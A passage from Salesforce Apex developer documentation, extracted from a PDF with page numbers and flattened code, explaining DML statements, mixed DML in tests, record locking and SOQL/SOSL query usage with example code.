@isTest private class MixedDML { static testMethod void mixedDMLExample() { User u; Account a; User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()]; // Insert account as current user System.runAs (thisUser) { Profile p = [SELECT Id FROM Profile WHERE Name='Standard User']; UserRole r = [SELECT Id FROM UserRole WHERE Name='COO']; u = new User(alias = 'jsmith', email='[email protected]', emailencodingkey='UTF-8', lastname='Smith', languagelocalekey='en_US', localesidkey='en_US', profileid = p.Id, userroleid = r.Id, timezonesidkey='America/Los_Angeles', username='[email protected]'); insert u; a = new Account(name='Acme'); insert a; } } }

Using Test.startTest and Test.stopTest to bypass the mixed DML error in a Test Method The mixed DML exception error is still sometimes returned even if you enclose the code block that performs the mixed DML operations within a System.runAs block. This can occur if the test method calls a future method that performs a DML operation that cant be mixed with others, such as deleting a group. If you get the mixed DML exception in this case, enclose the code block that makes the future method call within Test.startTest and Test.stopTest statements. This example shows how enclosing the delete statement between Test.startTest and Test.stopTest statements prevents the mixed DML exception error in a test. Because the delete statement causes a mixed DML operation to be executed by a future method, it is enclosed within the Test.startTest and Test.stopTest statements. The delete statement causes a trigger to fire, deleting the group that was inserted earlier by the account insert trigger by calling the deleteGroup future method of the Util class. This is the test class that causes a mixed DML operation to occur. The account insertion and deletion fire the triggers.
@isTest private class RunasTest { static testMethod void mixeddmltest() { // Create the account and group. Account ac = new Account(Name='TEST ACCOUNT'); // Group is created in the insert trigger. insert ac; // Set up user User u1 = [SELECT Id FROM User WHERE UserName='[email protected]']; System.RunAs(u1){ // Add startTest and stopTest to avoid mixed DML error Test.startTest();

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// Delete the account. // Group is deleted through future method call in trigger. delete ac; Test.stopTest(); } } }

This is the account insert trigger that inserts a group.

trigger Account_After_Insert_Trg on Account (after insert) { Group gr = new Group(Name='Test',Type='Regular'); insert gr; }

This is the account delete trigger that calls a future method to delete a group.
trigger Account_Before_Delete_Trg on Account (before delete) { Util.deleteGroup('Test'); }

This is the future method that deletes a group.

public with sharing class Util { @future public static void deleteGroup(String grNameSet) { List<Group> grList = [select Id, Name from Group where Name = :grNameSet]; delete grList[0]; } }

sObjects That Dont Support DML Operations

Your organization contains standard objects provided by Salesforce and custom objects that you created. These objects can be accessed in Apex as instances of the sObject data type. You can query these objects and perform DML operations on them. However, some standard objects dont support DML operations although you can still obtain them in queries. They include the following: AccountTerritoryAssignmentRule AccountTerritoryAssignmentRuleItem ApexComponent ApexPage BusinessHours BusinessProcess CategoryNode CurrencyType DatedConversionRate NetworkMember (allows update only) ProcessInstance Profile RecordType SelfServiceUser StaticResource UserAccountTeamMember 122

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UserTerritory WebLink Note: All standard and custom objects can also be accessed through the SOAP API. ProcessInstance is an exception. You cant create, update, or delete ProcessInstance in the SOAP API.

DML Operations
You can perform DML operations using the DML statements or the methods of the Database class. For lead conversion, use the convertLead method of the Database class. There is no DML counterpart for it. For merging records, use the merge DML statement. There is no counterpart method for merge in the Database class. DML Statements Use Data Manipulation Language (DML) operations to insert, update, merge, delete, and restore data in a database. The following Apex DML statements are available: Insert Statement Update Statement Upsert Statement Delete Statement Undelete Statement Merge Statement Insert Statement The insert DML operation adds one or more sObjects, such as individual accounts or contacts, to your organizations data. insert is analogous to the INSERT statement in SQL. Syntax
insert sObject insert sObject[]

Example The following example inserts an account named 'Acme':

Account newAcct = new Account(name = 'Acme'); try { insert newAcct; } catch (DmlException e) { // Process exception here }

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 408.

Update Statement The update DML operation modifies one or more existing sObject records, such as individual accounts or contactsinvoice statements, in your organizations data. update is analogous to the UPDATE statement in SQL. 123

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Syntax
update sObject update sObject[]

Example The following example updates the BillingCity field on a single account named 'Acme':
Account a = new Account(Name='Acme2'); insert(a); Account myAcct = [SELECT Id, Name, BillingCity FROM Account WHERE Id = :a.Id]; myAcct.BillingCity = 'San Francisco'; try { update myAcct; } catch (DmlException e) { // Process exception here }

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 408.

Upsert Statement The upsert DML operation creates new sObject records and updates existing sObject records within a single statement, using an optional custom field to determine the presence of existing objects. Syntax
upsert sObject opt_external_id upsert sObject[] opt_external_id
opt_external_id is an optional variable that specifies the custom field that should be used to match records that already exist in your organization's data. This custom field must be created with the External Id attribute selected. Additionally, if the field does not have the Unique attribute selected, the context user must have the View All object-level permission for the target object or the View All Data permission so that upsert does not accidentally insert a duplicate record.

If opt_external_id is not specified, the sObject record's ID field is used by default. Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate values (case insensitive) attributes selected as part of the field definition. If this is the case, ABC123 is matched with abc123. For more information, see Creating Custom Fields in the Salesforce online help. How Upsert Chooses to Insert or Update Upsert uses the sObject record's primary key (or the external ID, if specified) to determine whether it should create a new object record or update an existing one: If the key is not matched, then a new object record is created. If the key is matched once, then the existing object record is updated. If the key is matched multiple times, then an error is generated and the object record is neither inserted or updated.

You can use foreign keys to upsert sObject records if they have been set as reference fields. For more information, see Field Types in the Object Reference for Salesforce and Force.com.

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Example This example performs an upsert of a list of accounts.

List<Account> acctList = new List<Account>(); // Fill the accounts list with some accounts try { upsert acctList; } catch (DmlException e) { }

This next example performs an upsert of a list of accounts using a foreign key for matching existing records, if any.
List<Account> acctList = new List<Account>(); // Fill the accounts list with some accounts try { // Upsert using an external ID field upsert acctList myExtIDField__c; } catch (DmlException e) { }

Delete Statement The delete DML operation deletes one or more existing sObject records, such as individual accounts or contacts, from your organizations data. delete is analogous to the delete() statement in the SOAP API. Syntax
delete sObject | ID delete sObject[] | ID[]

Example The following example deletes all accounts that are named 'DotCom':
Account[] doomedAccts = [SELECT Id, Name FROM Account WHERE Name = 'DotCom']; try { delete doomedAccts; } catch (DmlException e) { // Process exception here }

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 408.

Undelete Statement The undelete DML operation restores one or more existing sObject records, such as individual accounts or contacts, from your organizations Recycle Bin. undelete is analogous to the UNDELETE statement in SQL. Syntax
undelete sObject | ID undelete sObject[] | ID[]

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Example The following example undeletes an account named 'Trump'. The ALL ROWS keyword queries all rows for both top level and aggregate relationships, including deleted records and archived activities.
Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Trump' ALL ROWS]; try { undelete savedAccts; } catch (DmlException e) { // Process exception here }

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 408.

Merge Statement The merge statement merges up to three records of the same sObject type into one of the records, deleting the others, and re-parenting any related records. Note: This DML operation does not have a matching Database system method.

Syntax
merge sObject sObject merge sObject sObject[] merge sObject ID merge sObject ID[]

The first parameter represents the master record into which the other records are to be merged. The second parameter represents the one or two other records that should be merged and then deleted. You can pass these other records into the merge statement as a single sObject record or ID, or as a list of two sObject records or IDs. Example The following example merges two accounts named 'Acme Inc.' and 'Acme' into a single record:
List<Account> ls = new List<Account>{new Account(name='Acme Inc.'),new Account(name='Acme')}; insert ls; Account masterAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1]; Account mergeAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1]; try { merge masterAcct mergeAcct; } catch (DmlException e) { // Process exception here }

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 408.

Bulk DML Exception Handling Exceptions that arise from a bulk DML call (including any recursive DML operations in triggers that are fired as a direct result of the call) are handled differently depending on where the original call came from:

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When errors occur because of a bulk DML call that originates directly from the Apex DML statements, or if the all_or_none parameter of a database DML method was specified as true, the runtime engine follows the all or nothing rule: during a single operation, all records must be updated successfully or the entire operation rolls back to the point immediately preceding the DML statement. When errors occur because of a bulk DML call that originates from the SOAP API, the runtime engine attempts at least a partial save: 1. During the first attempt, the runtime engine processes all records. Any record that generates an error due to issues such as validation rules or unique index violations is set aside. 2. If there were errors during the first attempt, the runtime engine makes a second attempt which includes only those records that did not generate errors. All records that didn't generate an error during the first attempt are processed, and if any record generates an error (perhaps because of race conditions) it is also set aside. 3. If there were additional errors during the second attempt, the runtime engine makes a third and final attempt which includes only those records that did not generate errors during the first and second attempts. If any record generates an error, the entire operation fails with the error message, Too many batch retries in the presence of Apex triggers and partial failures. Note: During the second and third attempts, governor limits are reset to their original state before the first attempt. See Understanding Execution Governors and Limits on page 240.

Things You Should Know About Data in Apex

Non-Null Required Fields Values and Null Fields When inserting new records or updating required fields on existing records, you must supply non-null values for all required fields. Unlike the SOAP API, Apex allows you to change field values to null without updating the fieldsToNull array on the sObject record. The API requires an update to this array due to the inconsistent handling of null values by many SOAP providers. Because Apex runs solely on the Force.com platform, this workaround is unnecessary. DML Not Supported with Some sObjects DML operations are not supported with certain sObjects. See sObjects That Dont Support DML Operations. String Field Truncation and API Version Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. sObject Properties to Enable DML Operations To be able to insert, update, delete, or undelete an sObject record, the sObject must have the corresponding property (createable, updateable, deletable, or undeletable respectively) set to true. ID Values The insert statement automatically sets the ID value of all new sObject records. Inserting a record that already has an IDand therefore already exists in your organization's dataproduces an error. See Lists for more information. The insert and update statements check each batch of records for duplicate ID values. If there are duplicates, the first five are processed. For the sixth and all additional duplicate IDs, the SaveResult for those entries is marked with an error similar to the following: Maximum number of duplicate updates in one batch (5 allowed). Attempt to update Id more than once in this API call: number_of_attempts. The ID of an updated sObject record cannot be modified in an update statement, but related record IDs can.

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Locking Records

Fields With Unique Constraints For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example, inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must have unique names. System Fields Automatically Set When inserting new records, system fields such as CreatedDate, CreatedById, and SystemModstamp are automatically updated. You cannot explicitly specify these values in your Apex. Similarly, when updating records, system fields such as LastModifiedDate, LastModifiedById, and SystemModstamp are automatically updated. Maximum Number of Records Processed by DML Statement You can pass a maximum of 10,000 sObject records to a single insert, update, delete, and undelete method. Each upsert statement consists of two operations, one for inserting records and one for updating records. Each of these operations is subject to the runtime limits for insert and update, respectively. For example, if you upsert more than 10,000 records and all of them are being updated, you receive an error. (See Understanding Execution Governors and Limits on page 240) Upsert and Foreign Keys You can use foreign keys to upsert sObject records if they have been set as reference fields. For more information, see Field Types in the Object Reference for Salesforce and Force.com.

Locking Records
Locking Statements
Apex allows you to lock sObject records while theyre being updated in order to prevent race conditions and other thread safety problems. While an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface. The client locking the records can perform logic on the records and make updates with the guarantee that the locked records wont be changed by another client during the lock period. The lock gets released when the transaction completes. To lock a set of sObject records in Apex, embed the keywords FOR UPDATE after any inline SOQL statement. For example, the following statement, in addition to querying for two accounts, also locks the accounts that are returned:
Account [] accts = [SELECT Id FROM Account LIMIT 2 FOR UPDATE];

Note: You cant use the ORDER BY keywords in any SOQL query that uses locking.

Locking Considerations While the records are locked by a client, the locking client can modify their field values in the database in the same transaction. Other clients have to wait until the transaction completes and the records are no longer locked before being able to update the same records. Other clients can still query the same records while theyre locked. If you attempt to lock a record currently locked by another client, you will get a QueryException. Similarly, if you attempt to update a record currently locked by another client, you will get a DmlException. If a client attempts to modify a locked record, the update operation might succeed if the lock gets released within a short amount of time after the update call was made. In this case, it is possible that the updates will overwrite those made by the locking client if the second client obtained an old copy of the record. To prevent this from happening, the second client must lock the record first. The locking process returns a fresh copy of the record from the database through the SELECT statement. The second client can use this copy to make new updates. 128

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Warning: Use care when setting locks in your Apex code. See Avoiding Deadlocks.

Locking in a SOQL For Loop

The FOR UPDATE keywords can also be used within SOQL for loops. For example:
for (Account[] accts : [SELECT Id FROM Account FOR UPDATE]) { // Your code }

As discussed in SOQL For Loops, the example above corresponds internally to calls to the query() and queryMore() methods in the SOAP API. Note that there is no commit statement. If your Apex trigger completes successfully, any database changes are automatically committed. If your Apex trigger does not complete successfully, any changes made to the database are rolled back.

Avoiding Deadlocks
Apex has the possibility of deadlocks, as does any other procedural logic language involving updates to multiple database tables or rows. To avoid such deadlocks, the Apex runtime engine: 1. First locks sObject parent records, then children. 2. Locks sObject records in order of ID when multiple records of the same type are being edited. As a developer, use care when locking rows to ensure that you are not introducing deadlocks. Verify that you are using standard deadlock avoidance techniques by accessing tables and rows in the same order from all locations in an application.

SOQL and SOSL Queries

You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements on-the-fly in Apex by surrounding the statement in square brackets.

SOQL Statements
SOQL statements evaluate to a list of sObjects, a single sObject, or an Integer for count method queries. For example, you could retrieve a list of accounts that are named Acme:
List<Account> aa = [SELECT Id, Name FROM Account WHERE Name = 'Acme'];

From this list, you can access individual elements:

if (!aa.isEmpty()) { // Execute commands }

You can also create new objects from SOQL queries on existing ones. The following example creates a new contact for the first account with the number of employees greater than 10:
Contact c = new Contact(Account = [SELECT Name FROM Account WHERE NumberOfEmployees > 10 LIMIT 1]); c.FirstName = 'James'; c.LastName = 'Yoyce';

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Note that the newly created object contains null values for its fields, which will need to be set. The count method can be used to return the number of rows returned by a query. The following example returns the total number of contacts with the last name of Weissman:
Integer i = [SELECT COUNT() FROM Contact WHERE LastName = 'Weissman'];

You can also operate on the results using standard arithmetic:

Integer j = 5 * [SELECT COUNT() FROM Account];

For a full description of SOQL query syntax, see the Salesforce SOQL and SOSL Reference Guide.

SOSL Statements
SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result lists are always returned in the same order as they were specified in the SOSL query. If a SOSL query does not return any records for a specified sObject type, the search results include an empty list for that sObject. For example, you can return a list of accounts, contacts, opportunities, and leads that begin with the phrase map:
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead];

Note: The syntax of the FIND clause in Apex differs from the syntax of the FIND clause in the SOAP API: In Apex, the value of the FIND clause is demarcated with single quotes. For example:
FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead

In the Force.com API, the value of the FIND clause is demarcated with braces. For example:
FIND {map*} IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead

From searchList, you can create arrays for each object returned:
Account [] accounts = ((List<Account>)searchList[0]); Contact [] contacts = ((List<Contact>)searchList[1]); Opportunity [] opportunities = ((List<Opportunity>)searchList[2]); Lead [] leads = ((List<Lead>)searchList[3]);

For a full description of SOSL query syntax, see the Salesforce SOQL and SOSL Reference Guide.

Working with SOQL and SOSL Query Results

SOQL and SOSL queries only return data for sObject fields that are selected in the original query. If you try to access a field that was not selected in the SOQL or SOSL query (other than ID), you receive a runtime error, even if the field contains a value in the database. The following code example causes a runtime error:
insert new Account(Name = 'Singha'); Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1]; // Note that name is not selected String name = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1].Name;

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The following is the same code example rewritten so it does not produce a runtime error. Note that Name has been added as part of the select statement, after Id.
insert new Account(Name = 'Singha'); Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1]; // Note that name is now selected String name = [SELECT Id, Name FROM Account WHERE Name = 'Singha' LIMIT 1].Name;

Even if only one sObject field is selected, a SOQL or SOSL query always returns data as complete records. Consequently, you must dereference the field in order to access it. For example, this code retrieves an sObject list from the database with a SOQL query, accesses the first account record in the list, and then dereferences the record's AnnualRevenue field:
Double rev = [SELECT AnnualRevenue FROM Account WHERE Name = 'Acme'][0].AnnualRevenue; // When only one result is returned in a SOQL query, it is not necessary // to include the list's index. Double rev2 = [SELECT AnnualRevenue FROM Account WHERE Name = 'Acme' LIMIT 1].AnnualRevenue;

The only situation in which it is not necessary to dereference an sObject field in the result of an SOQL query, is when the query returns an Integer as the result of a COUNT operation:
Integer i = [SELECT COUNT() FROM Account];

Fields in records returned by SOSL queries must always be dereferenced. Also note that sObject fields that contain formulas return the value of the field at the time the SOQL or SOSL query was issued. Any changes to other fields that are used within the formula are not reflected in the formula field value until the record has been saved and re-queried in Apex. Like other read-only sObject fields, the values of the formula fields themselves cannot be changed in Apex.

Accessing sObject Fields Through Relationships

sObject records represent relationships to other records with two fields: an ID and an address that points to a representation of the associated sObject. For example, the Contact sObject has both an AccountId field of type ID, and an Account field of type Account that points to the associated sObject record itself. The ID field can be used to change the account with which the contact is associated, while the sObject reference field can be used to access data from the account. The reference field is only populated as the result of a SOQL or SOSL query (see note below). For example, the following Apex code shows how an account and a contact can be associated with one another, and then how the contact can be used to modify a field on the account: Note: In order to provide the most complete example, this code uses some elements that are described later in this guide: For information on insert and update, see Insert Statement on page 404 and Update Statement on page 404.

Account a = new Account(Name = 'Acme'); insert a; // Inserting the record automatically assigns a // value to its ID field Contact c = new Contact(LastName = 'Weissman'); c.AccountId = a.Id; // The new contact now points at the new account insert c;

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Understanding Foreign Key and Parent-Child Relationship SOQL Queries

// A SOQL query accesses data for the inserted contact, // including a populated c.account field c = [SELECT Account.Name FROM Contact WHERE Id = :c.Id]; // Now fields in both records can be changed through the contact c.Account.Name = 'salesforce.com'; c.LastName = 'Roth'; // To update the database, the two types of records must be // updated separately update c; // This only changes the contact's last name update c.Account; // This updates the account name

Note: The expression c.Account.Name, as well as any other expression that traverses a relationship, displays slightly different characteristics when it is read as a value than when it is modified: When being read as a value, if c.Account is null, then c.Account.Name evaluates to null, but does not yield a NullPointerException. This design allows developers to navigate multiple relationships without the tedium of having to check for null values. When being modified, if c.Account is null, then c.Account.Name does yield a NullPointerException.

In addition, the sObject field key can be used with insert, update, or upsert to resolve foreign keys by external ID. For example:
Account refAcct = new Account(externalId__c = '12345'); Contact c = new Contact(Account = refAcct, LastName = 'Kay'); insert c;

This inserts a new contact with the AccountId equal to the account with the external_id equal to 12345. If there is no such account, the insert fails. Tip: The following code is equivalent to the code above. However, because it uses a SOQL query, it is not as efficient. If this code was called multiple times, it could reach the execution limit for the maximum number of SOQL queries. For more information on execution limits, see Understanding Execution Governors and Limits on page 240.
Account refAcct = [SELECT Id FROM Account WHERE externalId__c='12345']; Contact c = new Contact(Account = refAcct.Id); insert c;

Understanding Foreign Key and Parent-Child Relationship SOQL Queries

The SELECT statement of a SOQL query can be any valid SOQL statement, including foreign key and parent-child record joins. If foreign key joins are included, the resulting sObjects can be referenced using normal field notation. For example:
System.debug([SELECT Account.Name FROM Contact WHERE FirstName = 'Caroline'].Account.Name);

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Additionally, parent-child relationships in sObjects act as SOQL queries as well. For example:
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts) FROM Account WHERE Name = 'Acme']) { Contact[] cons = a.Contacts; } //The following example also works because we limit to only 1 contact for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts LIMIT 1) FROM Account WHERE Name = 'testAgg']) { Contact c = a.Contacts; }

Working with SOQL Aggregate Functions

Aggregate functions in SOQL, such as SUM() and MAX(), allow you to roll up and summarize your data in a query. For more information on aggregate functions, see Aggregate Functions in the Salesforce SOQL and SOSL Reference Guide. You can use aggregate functions without using a GROUP BY clause. For example, you could use the AVG() aggregate function to find the average Amount for all your opportunities.
AggregateResult[] groupedResults = [SELECT AVG(Amount)aver FROM Opportunity]; Object avgAmount = groupedResults[0].get('aver');

Note that any query that includes an aggregate function returns its results in an array of AggregateResult objects. AggregateResult is a read-only sObject and is only used for query results. Aggregate functions become a more powerful tool to generate reports when you use them with a GROUP BY clause. For example, you could find the average Amount for all your opportunities by campaign.
AggregateResult[] groupedResults = [SELECT CampaignId, AVG(Amount) FROM Opportunity GROUP BY CampaignId]; for (AggregateResult ar : groupedResults) { System.debug('Campaign ID' + ar.get('CampaignId')); System.debug('Average amount' + ar.get('expr0')); }

Any aggregated field in a SELECT list that does not have an alias automatically gets an implied alias with a format expri, where i denotes the order of the aggregated fields with no explicit aliases. The value of i starts at 0 and increments for every aggregated field with no explicit alias. For more information, see Using Aliases with GROUP BY in the Salesforce SOQL and SOSL Reference Guide. Note: Queries that include aggregate functions are subject to the same governor limits as other SOQL queries for the total number of records returned. This limit includes any records included in the aggregation, not just the number of rows returned by the query. If you encounter this limit, you should add a condition to the WHERE clause to reduce the amount of records processed by the query.

Working with Very Large SOQL Queries

Your SOQL query may return so many sObjects that the limit on heap size is exceeded and an error occurs. To resolve, use a SOQL query for loop instead, since it can process multiple batches of records through the use of internal calls to query and queryMore. 133

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For example, if the results are too large, the syntax below causes a runtime exception:
Account[] accts = [SELECT Id FROM Account];

Instead, use a SOQL query for loop as in one of the following examples:
// Use this format if you are not executing DML statements // within the for loop for (Account a : [SELECT Id, Name FROM Account WHERE Name LIKE 'Acme%']) { // Your code without DML statements here } // Use this format for efficiency if you are executing DML statements // within the for loop for (List<Account> accts : [SELECT Id, Name FROM Account WHERE Name LIKE 'Acme%']) { // Your code here update accts; }

The following example demonstrates a SOQL query for loop used to mass update records. Suppose you want to change the last name of a contact across all records for contacts whose first and last names match a specified criteria:
public void massUpdate() { for (List<Contact> contacts: [SELECT FirstName, LastName FROM Contact]) { for(Contact c : contacts) { if (c.FirstName == 'Barbara' && c.LastName == 'Gordon') { c.LastName = 'Wayne'; } } update contacts; } }

Instead of using a SOQL query in a for loop, the preferred method of mass updating records is to use batch Apex, which minimizes the risk of hitting governor limits. For more information, see SOQL For Loops on page 139. More Efficient SOQL Queries For best performance, SOQL queries must be selective, particularly for queries inside of triggers. To avoid long execution times, non-selective SOQL queries may be terminated by the system. Developers will receive an error message when a non-selective query in a trigger executes against an object that contains more than 100,000 records. To avoid this error, ensure that the query is selective. Selective SOQL Query Criteria A query is selective when one of the query filters is on an indexed field and the query filter reduces the resulting number of rows below a system-defined threshold. The performance of the SOQL query improves when two or more filters used in the WHERE clause meet the mentioned conditions. The selectivity threshold is 10% of the records for the first million records and less than 5% of the records after the first million records, up to a maximum of 333,000 records. In some circumstances, for example with a query filter that is an indexed standard field, the threshold may be higher. Also, the selectivity threshold is subject to change.

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Custom Index Considerations for Selective SOQL Queries The following fields are indexed by default: primary keys (Id, Name and Owner fields), foreign keys (lookup or master-detail relationship fields), audit dates (such as LastModifiedDate), and custom fields marked as External ID or Unique. Fields that arent indexed by default might later be automatically indexed if the Salesforce optimizer recognizes that an index will improve performance for frequently run queries. Salesforce.com Support can add custom indexes on request for customers. A custom index can't be created on these types of fields: multi-select picklists, currency fields in a multicurrency organization, long text fields, some formula fields, and binary fields (fields of type blob, file, or encrypted text.) Note that new data types, typically complex ones, may be added to Salesforce and fields of these types may not allow custom indexing. Typically, a custom index won't be used in these cases: The value(s) queried for exceeds the system-defined threshold mentioned above The filter operator is a negative operator such as NOT EQUAL TO (or !=), NOT CONTAINS, and NOT STARTS
WITH

The CONTAINS operator is used in the filter and the number of rows to be scanned exceeds 333,000. This is because the CONTAINS operator requires a full scan of the index. Note that this threshold is subject to change. When comparing with an empty value (Name != '') However, there are other complex scenarios in which custom indexes won't be used. Contact your salesforce.com representative if your scenario isn't covered by these cases or if you need further assistance with non-selective queries. Examples of Selective SOQL Queries To better understand whether a query on a large object is selective or not, let's analyze some queries. For these queries, we will assume there are more than 100,000 records (including soft-deleted records, that is, deleted records that are still in the Recycle Bin) for the Account sObject. Query 1:
SELECT Id FROM Account WHERE Id IN (<list of account IDs>)

The WHERE clause is on an indexed field (Id). If SELECT COUNT() FROM Account WHERE Id IN (<list of account IDs>) returns fewer records than the selectivity threshold, the index on Id is used. This will typically be the case since the list of IDs only contains a small amount of records. Query 2:
SELECT Id FROM Account WHERE Name != ''

Since Account is a large object even though Name is indexed (primary key), this filter returns most of the records, making the query non-selective. Query 3:
SELECT Id FROM Account WHERE Name != '' AND CustomField__c = 'ValueA'

Here we have to see if each filter, when considered individually, is selective. As we saw in the previous example the first filter isn't selective. So let's focus on the second one. If the count of records returned by SELECT COUNT() FROM Account WHERE CustomField__c = 'ValueA' is lower than the selectivity threshold, and CustomField__c is indexed, the query is selective.

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Using SOQL Queries That Return One Record

SOQL queries can be used to assign a single sObject value when the result list contains only one element. When the L-value of an expression is a single sObject type, Apex automatically assigns the single sObject record in the query result list to the L-value. A runtime exception results if zero sObjects or more than one sObject is found in the list. For example:
List<Account> accts = [SELECT Id FROM Account]; // These lines of code are only valid if one row is returned from // the query. Notice that the second line dereferences the field from the // query without assigning it to an intermediary sObject variable. Account acct = [SELECT Id FROM Account]; String name = [SELECT Name FROM Account].Name;

Improving Performance by Not Searching on Null Values

In your SOQL and SOSL queries, avoid searching records that contain null values. Filter out null values first to improve performance. In the following example, any records where the treadID value is null are filtered out of the returned values.
Public class TagWS { /* getThreadTags * * a quick method to pull tags not in the existing list * */ public static webservice List<String> getThreadTags(String threadId, List<String> tags) { system.debug(LoggingLevel.Debug,tags); List<String> retVals = new List<String>(); Set<String> tagSet = new Set<String>(); Set<String> origTagSet = new Set<String>(); origTagSet.addAll(tags); // Note WHERE clause verifies that threadId is not null for(CSO_CaseThread_Tag__c t : [SELECT Name FROM CSO_CaseThread_Tag__c WHERE Thread__c = :threadId AND WHERE threadID != null]) { tagSet.add(t.Name); } for(String x : origTagSet) { // return a minus version of it so the UI knows to clear it if(!tagSet.contains(x)) retVals.add('-' + x); } for(String x : tagSet) { // return a plus version so the UI knows it's new if(!origTagSet.contains(x)) retvals.add('+' + x); } return retVals; }

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Working with Polymorphic Relationships in SOQL Queries

A polymorphic relationship is a relationship between objects where a referenced object can be one of several different types. For example, the What relationship field of an Event could be an Account, or a Campaign, or an Opportunity. The following describes how to use SOQL queries with polymorphic relationships in Apex. If you want more general information on polymorphic relationships, see Understanding Polymorphic Keys and Relationships in the Force.com SOQL and SOSL Reference. You can use SOQL queries that reference polymorphic fields in Apex to get results that depend on the object type referenced by the polymorphic field. One approach is to filter your results using the Type qualifier. This example queries Events that are related to an Account or Opportunity via the What field.
List<Event> = [SELECT Description FROM Event WHERE What.Type IN ('Account', 'Opportunity')];

Another approach would be to use the TYPEOF clause in the SOQL SELECT statement. This example also queries Events that are related to an Account or Opportunity via the What field.
List<Event> = [SELECT TYPEOF What WHEN Account THEN Phone WHEN Opportunity THEN Amount END FROM Event];

Note: TYPEOF is currently available as a Developer Preview as part of the SOQL Polymorphism feature. For more information on enabling TYPEOF for your organization, contact salesforce.com. These queries will return a list of sObjects where the relationship field references the desired object types. If you need to access the referenced object in a polymorphic relationship, you can use the instanceof keyword to determine the object type. The following example uses instanceof to determine whether an Account or Opportunity is related to an Event.
Event myEvent = eventFromQuery; if (myEvent.What instanceof Account) { // myEvent.What references an Account, so process accordingly } else if (myEvent.What instanceof Opportunity) { // myEvent.What references an Opportunity, so process accordingly }

Note that you must assign the referenced sObject that the query returns to a variable of the appropriate type before you can pass it to another method. The following example queries for User or Group owners of Merchandise__c custom objects using a SOQL query with a TYPEOF clause, uses instanceof to determine the owner type, and then assigns the owner objects to User or Group type variables before passing them to utility methods.
public class PolymorphismExampleClass { // Utility method for a User public static void processUser(User theUser) { System.debug('Processed User'); } // Utility method for a Group public static void processGroup(Group theGroup) { System.debug('Processed Group'); } public static void processOwnersOfMerchandise() { // Select records based on the Owner polymorphic relationship field List<Merchandise__c> merchandiseList = [SELECT TYPEOF Owner WHEN User THEN LastName WHEN Group THEN Email END FROM Merchandise__c];

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// We now have a list of Merchandise__c records owned by either a User or Group for (Merchandise__c merch: merchandiseList) { // We can use instanceof to check the polymorphic relationship type // Note that we have to assign the polymorphic reference to the appropriate // sObject type before passing to a method if (merch.Owner instanceof User) { User userOwner = merch.Owner; processUser(userOwner); } else if (merch.Owner instanceof Group) { Group groupOwner = merch.Owner; processGroup(groupOwner); } } } }

Using Apex Variables in SOQL and SOSL Queries

SOQL and SOSL statements in Apex can reference Apex code variables and expressions if they are preceded by a colon (:). This use of a local code variable within a SOQL or SOSL statement is called a bind. The Apex parser first evaluates the local variable in code context before executing the SOQL or SOSL statement. Bind expressions can be used as: The search string in FIND clauses. The filter literals in WHERE clauses. The value of the IN or NOT IN operator in WHERE clauses, allowing filtering on a dynamic set of values. Note that this is of particular use with a list of IDs or Strings, though it works with lists of any type. The division names in WITH DIVISION clauses. The numeric value in LIMIT clauses. The numeric value in OFFSET clauses.

Bind expressions can't be used with other clauses, such as INCLUDES. For example:
Account A = new Account(Name='xxx'); insert A; Account B; // A simple bind B = [SELECT Id FROM Account WHERE Id = :A.Id]; // A bind with arithmetic B = [SELECT Id FROM Account WHERE Name = :('x' + 'xx')]; String s = 'XXX'; // A bind with expressions B = [SELECT Id FROM Account WHERE Name = :'XXXX'.substring(0,3)]; // A bind with an expression that is itself a query result B = [SELECT Id FROM Account WHERE Name = :[SELECT Name FROM Account WHERE Id = :A.Id].Name]; Contact C = new Contact(LastName='xxx', AccountId=A.Id); insert new Contact[]{C, new Contact(LastName='yyy', accountId=A.id)}; // Binds in both the parent and aggregate queries B = [SELECT Id, (SELECT Id FROM Contacts WHERE Id = :C.Id)

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FROM Account WHERE Id = :A.Id]; // One contact returned Contact D = B.Contacts; // A limit bind Integer i = 1; B = [SELECT Id FROM Account LIMIT :i]; // An OFFSET bind Integer offsetVal = 10; List<Account> offsetList = [SELECT Id FROM Account OFFSET :offsetVal]; // An IN-bind with an Id list. Note that a list of sObjects // can also be used--the Ids of the objects are used for // the bind Contact[] cc = [SELECT Id FROM Contact LIMIT 2]; Task[] tt = [SELECT Id FROM Task WHERE WhoId IN :cc]; // An IN-bind with a String list String[] ss = new String[]{'a', 'b'}; Account[] aa = [SELECT Id FROM Account WHERE AccountNumber IN :ss]; // A SOSL query with binds in all possible clauses String myString1 String myString2 Integer myInt3 = String myString4 Integer myInt5 = = 'aaa'; = 'bbb'; 11; = 'ccc'; 22;

List<List<SObject>> searchList = [FIND :myString1 IN ALL FIELDS RETURNING Account (Id, Name WHERE Name LIKE :myString2 LIMIT :myInt3), Contact, Opportunity, Lead WITH DIVISION =:myString4 LIMIT :myInt5];

Querying All Records with a SOQL Statement

